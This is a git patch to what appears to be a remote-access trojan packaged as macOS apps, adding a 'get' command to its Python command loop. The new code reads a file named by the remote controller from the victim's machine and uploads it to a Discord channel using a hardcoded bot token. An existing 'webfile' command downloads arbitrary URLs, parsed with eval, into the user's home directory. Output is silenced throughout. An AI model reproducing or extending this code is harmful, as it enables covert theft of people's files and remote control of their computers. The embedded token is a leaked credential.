From 57d376727d4fe7271d19d1327f43b2f44ccdde82 Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Fri, 1 Sep 2023 23:08:38 +0800 Subject: download file from target --- dist/main-mac | Bin 11069216 -> 11069808 bytes dist/main.app.zip | Bin 10953832 -> 10954476 bytes dist/main.app/Contents/MacOS/main | Bin 11069216 -> 11069808 bytes dist/setup.app.zip | Bin 10943596 -> 10943596 bytes main.py | 26 ++++++++++++++++++++++++-- 5 files changed, 24 insertions(+), 2 deletions(-) diff --git a/dist/main-mac b/dist/main-mac index 8bd811d..e4a0a99 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index bcc161a..ec7ebae 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index 69d9b22..0ee15f3 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index fe4e9c0..a77e536 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/main.py b/main.py index 530d34a..394f83b 100644 --- a/main.py +++ b/main.py @@ -4,12 +4,13 @@ try: from time import sleep from subprocess import Popen as system from subprocess import PIPE - from os import chdir, uname, devnull + from os import chdir, uname, devnull, getcwd from sys import platform, stdout, stderr old_command = "" command = "" loop = 0 + stdout = open(devnull, 'w') stderr = open(devnull, 'w') @@ -68,17 +69,38 @@ while True: if command == "None": old_command = "" continue + if command.startswith("get "): + token = 'MTE0MTM0MDA2Mzk2ODU0MjczMA.G7bTuQ.kXvBg1R2N-3Z2cYUXDmEVcBIzc7Z_MWvP2Wjtg' + channel_id = '1140989222556274721' + url = f'https://discord.com/api/v9/channels/{channel_id}/messages' + localcmd = command.split() + path = "../" + localcmd[1] + file = open(path, "rb").read() + fileJson = { + "file" : (str(path), open(str(path), 'rb')) + } + payload = { + "content":"message" + } + header = {'Authorization': f'Bot {token}'} + + try: + post(url, data = payload, headers=header, files=fileJson) + except: + pass + old_command = commandId if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content - fileName = os.path.basename(fileUrl) + fileName = path.basename(fileUrl) filePath = os.path.expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) f.close() old_command = commandId + continue #filename = os.path.basename(localcmd[1]) #print(filename) #ossystem("touch " + filename[0] + filename[1]) -- cgit v1.2.3